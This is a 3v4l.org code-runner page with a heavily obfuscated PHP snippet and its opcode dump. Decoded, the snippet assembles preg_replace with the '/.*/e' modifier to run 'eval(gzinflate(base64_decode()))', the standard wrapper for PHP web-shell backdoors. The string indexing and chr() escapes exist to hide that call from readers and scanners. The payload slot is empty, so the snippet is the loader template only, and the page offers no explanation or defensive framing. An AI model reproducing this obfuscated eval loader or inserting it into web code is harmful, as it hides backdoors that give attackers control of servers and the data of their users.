3v4l.org

run code in 300+ PHP versions simultaneously
<?php $Arj17aAhn1 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";$jaUajsnas71 = $Arj17aAhn1[16].$Arj17aAhn1[31].$Arj17aAhn1[30].$Arj17aAhn1[38].$Arj17aAhn1[29].$Arj17aAhn1[31].$Arj17aAhn1[30].$Arj17aAhn1[16].$Arj17aAhn1[6].$Arj17aAhn1[4].$Arj17aAhn1[40].$Arj17aAhn1[30];$Afnmna123f = "".chr(101)."\x76".chr(97)."".chr(108)."".chr(40)."g\x7Ai\x6E".chr(102)."".chr(108)."a".chr(116)."".chr(101)."".chr(40)."ba".chr(115)."e".chr(54)."\x34_".chr(100)."".chr(101)."".chr(99)."o\x64e".chr(40)."";$Ja81jJmas = "".chr(41)."\x29)".chr(59)."";$HnakejAH182e = $Afnmna123f."".$Ja81jJmas;$jaUajsnas71($Arj17aAhn1[42].$Arj17aAhn1[19].$Arj17aAhn1[13].$Arj17aAhn1[42].$Arj17aAhn1[30], $HnakejAH182e ,"156");
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/P7tMN
function name:  (null)
number of ops:  45
compiled vars:  !0 = $Arj17aAhn1, !1 = $jaUajsnas71, !2 = $Afnmna123f, !3 = $Ja81jJmas, !4 = $HnakejAH182e
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, 'vh46afl7tm2ik%2An3pws.bu%3B0j%29%28qo_erzxy51dg9c8%2F'
          1        FETCH_DIM_R                                      ~6      !0, 16
          2        FETCH_DIM_R                                      ~7      !0, 31
          3        CONCAT                                           ~8      ~6, ~7
          4        FETCH_DIM_R                                      ~9      !0, 30
          5        CONCAT                                           ~10     ~8, ~9
          6        FETCH_DIM_R                                      ~11     !0, 38
          7        CONCAT                                           ~12     ~10, ~11
          8        FETCH_DIM_R                                      ~13     !0, 29
          9        CONCAT                                           ~14     ~12, ~13
         10        FETCH_DIM_R                                      ~15     !0, 31
         11        CONCAT                                           ~16     ~14, ~15
         12        FETCH_DIM_R                                      ~17     !0, 30
         13        CONCAT                                           ~18     ~16, ~17
         14        FETCH_DIM_R                                      ~19     !0, 16
         15        CONCAT                                           ~20     ~18, ~19
         16        FETCH_DIM_R                                      ~21     !0, 6
         17        CONCAT                                           ~22     ~20, ~21
         18        FETCH_DIM_R                                      ~23     !0, 4
         19        CONCAT                                           ~24     ~22, ~23
         20        FETCH_DIM_R                                      ~25     !0, 40
         21        CONCAT                                           ~26     ~24, ~25
         22        FETCH_DIM_R                                      ~27     !0, 30
         23        CONCAT                                           ~28     ~26, ~27
         24        ASSIGN                                                   !1, ~28
         25        ASSIGN                                                   !2, 'eval%28gzinflate%28base64_decode%28'
         26        ASSIGN                                                   !3, '%29%29%29%3B'
         27        CONCAT                                           ~32     !2, ''
         28        CONCAT                                           ~33     ~32, !3
         29        ASSIGN                                                   !4, ~33
         30        INIT_DYNAMIC_CALL                                        !1
         31        FETCH_DIM_R                                      ~35     !0, 42
         32        FETCH_DIM_R                                      ~36     !0, 19
         33        CONCAT                                           ~37     ~35, ~36
         34        FETCH_DIM_R                                      ~38     !0, 13
         35        CONCAT                                           ~39     ~37, ~38
         36        FETCH_DIM_R                                      ~40     !0, 42
         37        CONCAT                                           ~41     ~39, ~40
         38        FETCH_DIM_R                                      ~42     !0, 30
         39        CONCAT                                           ~43     ~41, ~42
         40        SEND_VAL_EX                                              ~43
         41        SEND_VAR_EX                                              !4
         42        SEND_VAL_EX                                              '156'
         43        DO_FCALL                                      0          
         44      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
151 ms | 1399 KiB | 13 Q